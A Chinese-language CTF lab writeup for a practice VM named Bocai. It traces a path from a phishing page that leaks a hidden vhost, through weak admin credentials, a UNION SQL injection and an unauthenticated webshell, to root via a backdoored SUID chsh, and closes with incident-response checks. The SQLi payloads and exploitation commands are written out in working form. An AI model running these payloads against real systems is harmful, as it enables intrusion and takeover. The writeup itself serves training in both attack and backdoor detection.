Bocai 靶机 Writeup

等寒 · 2026-10-09 · 难度 Medium

Debian 13 · 192.168.56.111 · user + root 双 flag

```
user:  flag{user-c5b199d55889f7fa99b644c91787ad60}
root:  flag{root-bcbea5e8dd740ee76fb4d10ae70d8aa2}
```

靶机信息

项	值
名称	Bocai
IP	192.168.56.111
系统	Debian 13 (trixie)，内核 7.2.7-liquorix；Apache 2.4.68 + PHP 8.4 + MariaDB 11.8.6 + OpenSSH
端口	22/tcp ssh、80/tcp http、3306 仅 127.0.0.1
站点	主 vhost = 钓鱼页 SecureShare；隐藏 vhost = `h9q3DXVOaJ2rRs5B4A4N.bocai.dsz`（Bocai Admin）
场景	机器"已被入侵"，系统中多出一个后门 root
考点	钓鱼页泄露隐藏 vhost → 后台 SQLi → 免认证 webshell → **应急响应/后门排查**（被替换的 SUID `chsh`）
结果	user + root 双 flag

一、攻击链总览

```
[Kali] 端口/指纹扫描 ──► 80 钓鱼页 SecureShare (主 vhost)
                            │  页面内嵌 iframe 泄露隐藏 vhost 名
                            ▼
[目标] h9q3DXVOaJ2rRs5B4A4N.bocai.dsz ── Bocai Admin 后台 (admin / admin123)
                            │  page.php?id= 数字型 SQL 注入 (UNION 6 列)
                            ▼
[目标] 拖库 bocai_admin ── temp 表明文泄露免认证 webshell 地址
                            ▼
[目标] /dnYbOmNcrPCO1P6NNxAB.php ──► www-data 命令执行 ──► user flag
                            ▼
[目标] 后门排查：异常 UID 0 账户 pwn + dpkg -V 命中被篡改的 /usr/bin/chsh
                            ▼
[目标] /usr/bin/chsh --maze ──► uid=0(root) ──► root flag
```

阶段速览：

阶段	执行位置	结果
侦察	[Kali]	22/80 开放；80 为钓鱼页，iframe 泄露后台隐藏 vhost
打点	[目标]	后台弱口令 + SQLi 拖库 → 免认证 webshell → www-data
立足	[目标]	读 `/home/momo/user.txt` 得 user flag
提权	[目标]	完整性校验揪出被替换的 SUID `chsh`，`--maze` 直接 root

二、信息收集

开放面很窄：只有 22（SSH）与 80（HTTP）。80 是主 vhost 的钓鱼登录页，页面里内嵌的 iframe 直接泄露了后台的隐藏域名 —— 这是本题唯一的入口面。

```
[Kali] nmap -sV -p- 192.168.56.111
# 22/tcp open  ssh     OpenSSH
# 80/tcp open  http    Apache httpd 2.4.68
```

```
[Kali] curl -s http://192.168.56.111/ | grep -oE '(src|action)="[^"]+"'
# iframe points to https://sso.corpnet.dsz/... ; assets reference h9q3DXVOaJ2rRs5B4A4N.bocai.dsz
```

判据：钓鱼页的 iframe / 静态资源引用出现 `*.bocai.dsz` 的随机串子域 → 即后台 vhost 名，需带 `Host` 头访问。

```
[Kali] curl -s -i -H 'Host: h9q3DXVOaJ2rRs5B4A4N.bocai.dsz' http://192.168.56.111/
# HTTP/1.1 302 -> /index.php (Bocai Admin login page)
```

后台 vhost 落盘在 `/etc/apache2/sites-available/admin.conf`（`DocumentRoot /var/www/admin`）；主站为 `/var/www/main`。确认载荷是"钓鱼 + 后台"两站结构。

三、打点（初始立足点）

① 后台弱口令：`admin / admin123`，登录后进入 `dashboard.php`。

② SQL 注入：`page.php?id=` 为数字型注入。先定列数：

```
[Kali] curl -s -H 'Host: h9q3DXVOaJ2rRs5B4A4N.bocai.dsz' \
  --get --data-urlencode 'id=1 ORDER BY 6' http://192.168.56.111/page.php   # page renders
[Kali] curl -s -H 'Host: h9q3DXVOaJ2rRs5B4A4N.bocai.dsz' \
  --get --data-urlencode 'id=1 ORDER BY 7' http://192.168.56.111/page.php   # SQL error -> 6 cols
```

判据：`ORDER BY 6` 返回正常页、`ORDER BY 7` 报错 → 查询为 6 列。

```
[Kali] curl -s -H 'Host: h9q3DXVOaJ2rRs5B4A4N.bocai.dsz' --get --data-urlencode \
  "id=0 UNION SELECT 1,(SELECT group_concat(table_name) FROM information_schema.tables WHERE
table_schema=database()),3,4,5,6" \
  http://192.168.56.111/page.php
# users, pages, temp, settings, logs, sessions
```

Bocai 靶机 Writeup · 等寒

拖出整库 `bocai_admin`。关键在 `temp` 表 —— 第 3 条**明文**写了后台维护用的一句话木马地址：

```
temp[3] Fallback shell: http://h9q3DXVOaJ2rRs5B4A4N.bocai.dsz/dnYbOmNcrPCO1P6NNxAB.php
        (no auth needed, keep this internal)
```

数据库口令也在 `/var/www/admin/db.php` 里：`bocai / 5796ab46d3f28a5e6e143b78`。

③ 免认证 webshell 拿 shell：

```
[Kali] curl -s -H 'Host: h9q3DXVOaJ2rRs5B4A4N.bocai.dsz' \
  --get --data-urlencode 'cmd=id' http://192.168.56.111/dnYbOmNcrPCO1P6NNxAB.php
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

判据：无鉴权直接回显 `uid=33(www-data)` → 拿到 www-data 命令执行。

```
[目标] cat /home/momo/user.txt
flag{user-c5b199d55889f7fa99b644c91787ad60}
```

四、提权（后门排查）

4.1 常规提权面枚举（全被做干净）

```
[目标] id; sudo -n -l; find / -xdev -perm -4000 -type f 2>/dev/null; getcap -r / 2>/dev/null
# no anomalous SUID, getcap empty, no NOPASSWD sudo rule
[目标] grep 0:0: /etc/passwd
root:x:0:0:root:/root:/bin/bash
pwn:$6$lsUZ3.9k1XSB4Je3$4k.P080pHiZuiTYVLpMgWePu2Yjp6mdxcUoMtdXXTcpcHfq8U/zk7dTbuiHmlZwVIwTUTwQU49
SWvPTe9ogaO.:0:0::/home/pwn:/bin/bash
```

判据：出现 `root` 之外的 UID 0 账户 `pwn`，且其 `$6$`（sha512crypt）哈希被直接写进**全局可读**的 `/etc/passwd`（正常应在 `/etc/shadow`）→ 人为植入的后门账户。

`pwn` 口令做字典/规则化（全量 rockyou 1434 万 + best64）**零命中**，`sudo` 无授权、无多余 SUID → **排除"破口令"与"常规提权"**，题目本质是后门排查。

4.2 持久化核查（坐实"已被入侵"）

```
[目标] ls -la /root/.bash_history /home/pwn/.bash_history
# both symlinked to /dev/null (anti-forensics)
[目标] grep -vE '^#|^$' /etc/ssh/sshd_config
# ... PermitRootLogin yes ...
[目标] cat /root/.ssh/authorized_keys
# ssh-rsa AAAAB3NzaC1yc2E...root@d4    (attacker root key)
```

4.3 完整性校验（关键一步）

```
[目标] dpkg -V
??5??????   /usr/bin/chsh        # only binary with md5 mismatch vs package db
```

判据：`dpkg -V` 只列出 conffile 与 `/usr/bin/chsh`（其余配置项 `c` 属正常改配置）；`chsh` 为 **SUID root** 程序 → 高度可疑。

```
[目标] grep 'usr/bin/chsh' /var/lib/dpkg/info/passwd.md5sums
d44aed0f531a679e89ede8a1ed170d0e  usr/bin/chsh        # expected
[目标] md5sum /usr/bin/chsh
0d62b4b17b48ee0d76a3865304dea557  /usr/bin/chsh        # actual -> replaced
```

4.4 逆向取值 → 触发后门

```
[目标] strings -a /usr/bin/chsh | grep -iE 'maze|/bin/|user|chsh_new'
/bin/sh
--maze
/bin/bash
user
chsh_new.c
```

判据：SUID root 二进制里出现**隐藏参数** `--maze`，并含 `setuid/setgid/setgroups/execl/execvp` 与 `/bin/sh`、`/bin/bash` → 即"合法程序里藏的后门"，触发后 exec root shell。

4.5 利用

```
[目标] /usr/bin/chsh --maze -c "id; cat /root/root.txt"
uid=0(root) gid=0(root) groups=0(root)
flag{root-bcbea5e8dd740ee76fb4d10ae70d8aa2}
```

五、flag 汇总

名称	值	来源路径
user flag	`flag{user-c5b199d55889f7fa99b644c91787ad60}`	`/home/momo/user.txt`
root flag	`flag{root-bcbea5e8dd740ee76fb4d10ae70d8aa2}`	`/root/root.txt`

辅助凭据与后门：

项	值	位置
后台口令	`admin / admin123`	Bocai Admin 登录
数据库口令	`bocai / 5796ab46d3f28a5e6e143b78`	`/var/www/admin/db.php`
后门账户	`pwn`（UID 0，`$6$` 哈希）	`/etc/passwd` · `/etc/shadow`
后门二进制	`/usr/bin/chsh`（md5 `d44aed0f…` → `0d62b4b1…`），magic arg `--maze`	SUID root，`/usr/bin/chsh`
攻击者 SSH 公钥	`ssh-rsa …root@d4`	`/root/.ssh/authorized_keys`
持久化配置	`PermitRootLogin yes`	`/etc/ssh/sshd_config`
免认证 webshell	`dnYbOmNcrPCO1P6NNxAB.php`	`/var/www/admin/`

六、结论

1. **这是"应急响应型"靶机，不是"漏洞利用型"**：常规提权面被刻意打扫干净（无多余 SUID、无 caps、无 sudo、无 cron 提权），本意是逼你从"找漏洞/破口令"切换到"后门排查"。
2. **`dpkg -V` / `debsums` 是发现"合法程序被替换"的杀器**：全盘仅 `/usr/bin/chsh` 完整性异常，`strings` 里的 `--maze` 直接给出 root。
3. **最大教训**：遇到"已被入侵 + 凭空多个 root"的设定，标准动作就是三件套 —— **账户审计（异常 UID 0）→ 二进制完整性校验（dpkg -V）→ 持久化核查（authorized_keys / sshd_config / .bash_history / cron / systemd）**。

关联

- 知识点：[[01_知识体系/03_蓝队防御/应急响应/]]、[[01_知识体系/02_红队攻击/持久化控制/]]
- 同类靶机：[[Datagram_WP]]、[[Tftpy_WP]]